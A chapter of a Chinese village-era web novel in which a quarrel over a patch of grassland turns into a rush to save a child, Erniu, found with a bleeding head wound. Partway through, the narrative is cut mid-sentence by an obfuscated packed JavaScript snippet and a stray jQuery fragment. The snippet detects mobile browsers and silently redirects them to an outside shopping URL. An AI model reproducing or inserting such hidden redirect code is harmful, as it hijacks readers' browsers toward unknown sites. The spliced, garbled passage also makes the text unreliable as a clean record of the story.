孟沅看着他拿着镰刀对着草丛左右乱挥跟个熊孩子的模样,眼角直抽抽:"季文祁,你拿着镰刀在我的地盘上乱霍霍啥?滚回你自己地盘去。"
照他这样乱霍霍,她的地盘迟早也会变得光秃秃的。
季文祁听到熟悉的声音,动作一顿,他悄悄转身看了一眼,立刻心虚地回过了头。
"艹,怎么是这个女魔头?",季文祁暗暗叫苦,他真不知道这块是孟沅的地盘,不然借他两个胆子也不敢在这边乱砍乱劈。
季文祁装模作样地咳了两声,一只脚偷偷蹭着地面,把地上被他劈砍掉落的草叶往里踢了踢。方才转过身来,梗着脖子虚张声势道:"哼,这地写你名字了?怎么就是你地盘了?"
他见孟沅一直盯着他没反驳,才又故作镇定道:"小爷今儿心情好,不跟你一个小女子计较。不就一块地盘吗?小爷大方让给你就是了。"
"哦,是吗?那我要是非要跟你计较一下呢?"孟沅放下背着的筐,左手握紧成拳,举到眼前仔细看了看。
季文祁瞧见这副场景,当即吓得抄起旁边的筐子挡在身前,悄悄往后推,嘴上却还不服输地叫嚣着:"哼,好男不跟女斗,小爷才不跟你一般见识,要不是看在你是女人的份上,小爷早就……"
"早就如何?"一道声音骤然从季文祁的左后方响起,季文祁猝不及防之下,当场脱口而出一句脏话:"艹啊啊……",待看清来人是谁后,才连连拍着胸口,平缓剧烈跳动的心脏。
"你有病啊,不知道人吓人,会吓死人的?"季文祁看着江逾那一脸纯洁无辜,半分愧疚也无的样子,顿时就跟被踩了尾巴的猫一样,激动地叫嚷起来。
江逾笑眯眯道:"不知道,可能我才疏学浅、孤陋寡闻、学业不精,所以没听说过。"
"你、你、你、你就是故意的,哼,你们都是一伙的。"季文祁显然被江逾的无耻给气懵了,话都说不利索了。
"他是我对象,我们当然是一伙的。"孟沅有些难言地看着他,"不然他还能跟你一伙?""
江逾因为孟沅的这句坦诚直言,原来沉重的心情一下子明媚了起来,脸上的笑遮都遮不住。
但在季文祁看来,那是要多刺眼就有多刺眼。
"屮,好不要脸的狗男女!"季文祁小声嘟囔了一句,他不敢大声,怕孟沅两人揍人,一个人就挺疼的了,再来一人,他承受不住。
但他说完后又很心虚,像是为了掩饰这股心虚,他提高声音质问道:"你们竟然合起伙来二打一,欺负我这样一个正直勇敢、无辜孱弱的新兴大好青年。"
孟沅:“………”
江逾:“………”
还挺会给自己脸上贴金,你爸妈知道你在外面这么会美化自己?不要脸的究竟是谁啊?
孟沅搓了搓耳朵,嫌弃道:"不想被欺负就滚回自己地盘去,别一天到晚地惹人嫌。"
季文祁本来就不想继续在这儿待了,他觉得孟沅就像女魔头,比那剿匪片《英雄虎胆》里的女土匪头子李月桂还要泼辣凶悍蛮横。
这会见孟沅开口撵人,抬脚就想走人,后又像想起什么似的道:"我不能走,有人让我在这等她,我雇了她打猪草,她说在这交货的。"
因为季文祁还没驯服镰刀,他就雇佣了所有打猪草的孩子,给他们排了个班,一筐猪草两颗糖,一天就能赚8颗糖。
昨天正好轮到了二妞,二妞就和他约定在这交货,这边有孟沅姐姐守着,那些比年纪比她大的男孩不敢来抢她的糖果。
孟沅也想到了这茬,她这只有二妞和丫丫会过来,丫丫又因为生病被禁足在家了,也只有二妞会和人约定在这了。
孟沅问:"是二妞和你约好的?"
季文祁摇头道:"应该是吧,我不知道她叫啥,反正是扎着两个冲天辫的小丫头,眼睛大大的、圆圆的,个子矮矮的,就到我大腿的位置。"
孟沅确定她的描述是二妞,按理来说这会都快9点了,二妞就是睡懒觉也不会睡到这会,是不是家里有什么事给绊住了?
孟沅好心建议道:"哎,你要不去春花婶家瞧瞧,二妞这会没出现,保不齐有啥事给耽误了,你在这干等着也没有意义。"还会影响她心情。
季文祁狐疑地看向孟沅,这提议中规中矩,确实是正常人的做法,他显然没想到孟沅会真的为自己考虑。
还好孟沅不知道,不然准得啐他一口,啥叫为他考虑?她明明是为二妞考虑的,一天能挣8颗糖果,小孩子可以快乐好久的。
村里小孩子心性各不相同,有的嘴严,什么事都憋得住;有的嘴松,半点事都兜不住。
家里大人劳累了一整天下地回来,哪里还会专门追着孩子,细问她们白天发生过的琐事。
季文祁上门去询问一下,不管春花婶先前知不知道,现在总归会知道割猪草换糖这件事。
如果二妞是因为身体不适没来赴约,那春花婶肯定也愿意自己多费点功夫去赚这几颗糖果,再拿回去哄二妞开心。
总之,这是双赢的事。
孟沅怕季文祁不知道春花婶家的地址,还特意给他指了路,春花婶家的小院开满了花,去了一眼便能瞧见。
季文祁走后,江逾便主动凑了上来,拉着孟沅的手求原谅。
孟沅没好气地瞪了他一眼,塞了把镰刀给他,指挥他去干活去了。
江逾当即笑着应了,只要不生他气,干多少活都成。
只是没等他俩割上半筐草,季文祁又跑了回来,一脸慌张无措、六神无主。
因为剧烈奔跑,整个人还在呼哧呼哧喘气,他指着他来的方向大声喊道:"血,救人,快去救人。"
孟沅和江逾对视一眼,当即生出一股不好的预感。
孟沅当即对季文祁道:"你去田里喊人,你之前去过田里拔秧苗,知道路的。你只要对着田里喊春花婶家出事了,会有人给你回应的。"
交代完后也不管季文祁有啥反应,拉着江逾就往春花婶家跑去。他们现在不知道二妞到底如何了,只能先去瞅一眼再准备后续工作。
等二人赶到春花婶家中,便看见二妞直挺挺躺在院子里的地面上,小脸惨白,后脑勺底下还洇开了一小滩血迹,谁也不知她在这究竟躺了多久。
"沅沅,有干净的毛巾和帕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17837529|211507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
子吗?我先帮她止血,人的后脑勺最坚硬也最脆弱了,她这情况需要立马止血送医院,多耽搁一会就多一分危险。"
孟沅赶忙从空间符里掏了两条洗过的干净毛巾递给他,都是孟家人的旧物,她就给收起来了,现在正好派上了用场。
江逾接过毛巾,半蹲下去,先将孩子侧卧,头偏向一侧,再将手里的毛巾直接盖在伤口表面。
"沅沅,帮我按着这个毛巾,要用掌根用力挤压才行,不然血止不住,我要清理一下她口腔血块。"
孟沅当即半蹲下,在江逾的手引导下用力压了下去。
江逾则掏出口袋里手帕缠在食指上,他先用一只手掌托住孩子下颌角向上抬起,轻微打开嘴巴缝隙。
再用缠绕手帕的手指立即探查口腔外侧及牙齿内侧,将看得见的血块向嘴角方向横向勾出。
血块一经勾出,二妞立刻剧烈咳嗽起来,发出微弱的哭声。
孟沅的脑袋上在这过程中急出了一层的冷汗,她竟不知,时间是如此的漫长难熬,也不知道季文祁那边能不能再快点。
…………………………
这边季文祁听了孟沅的嘱咐,当即向田里跑去,一刻也不敢停留。
幸运的是,他在路上看见了计分员,他正在田间小路上巡逻。
季文祁当即像抓住救命稻草似的抓住了他:"快,带我去找春花婶,她家孩子出事了。"
计分员叫李建军,是个戴眼镜的瘦弱青年,咋一听到孩子出事了,首当其冲地是去扶他的眼镜,随后才像慢半拍似的带着人往春花婶的地头走去。
季文祁嫌他速度慢,让他指了个方向就跑了起来,几步就把人甩后面了。
季文祁到了地头后立刻大声喊叫了起来,引得地里的女人们纷纷探出了头,季文祁只得边往里走边喊。
艹,这该死的地垄怎么这么长?
春花婶这边正跟旁边人唠嗑唠得火热呢,冷不丁听见后面有人喊她,便站起来往后看,只见一个不认识的男青年正一脸着急地朝自己招手。
春花婶虽然不认识这人,还是站起来拍了拍手上的泥土迎了过去。
春花婶心中暗自琢磨:看这着急的样子,说不准是有什么紧急的事呢?
季文祁三步并作两步跨到了面前道:"你是春花婶?你家二妞出大事了,头上流了好多血,孟沅让我喊你回去。"
春花婶直接愣在了当场:"什么?你说什么?"
"你家二妞出事了,赶紧回去找人送医院抢救,说不准还来得及。"季文祁好脾气地又重复了一遍。
"二妞,我的二妞……"春花婶反应过来后,脸瞬间白了,当即便不管不顾、慌里慌张地往家的方向跑去了,路上还刮蹭到了不少秧苗。
周围的婶子们也反应过来,当即担忧地抬脚跟上了春花婶,事关孩子,该伸手还是要伸手的,该帮忙也是要帮忙的。
大队长的媳妇王桂花同志也在此列,只是她没有朝着春花婶的家走去,反而朝着大队部的方向去了,她要去通知村里管牛车的,让他们先把车套上,没听小伙子说要送医院抢救吗?没有车怎么送人呢?